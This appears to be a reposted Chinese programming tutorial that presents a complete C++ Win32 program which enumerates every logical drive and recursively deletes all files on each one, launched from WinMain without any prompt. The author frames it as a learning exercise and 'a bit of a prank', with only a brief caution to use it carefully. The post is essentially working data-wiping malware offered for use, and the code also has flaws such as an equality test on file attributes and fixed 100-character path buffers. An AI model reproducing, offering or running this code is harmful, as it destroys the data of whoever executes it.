基于Windows API实现遍历所有文件并删除的方法

网友投稿 284 2022-06-07


本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)... 下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include #include #include using namespace std; void DelFile(char *cFilePath) { WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) { continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) { sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName); DelFile(cNewPath);//递归 } // MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data)); } int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state ) { DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','\0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) { Path[0]='A'+ix; DelFile(Path); } } return 0; }

希望本文所述对大家的win32程序设计有所帮助。


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:使用最小 WEB API 实现文件上传的Swagger支持
下一篇:详解Laravel5.6 Passport实现Api接口认证
相关文章

 发表评论

暂时没有评论,来抢沙发吧~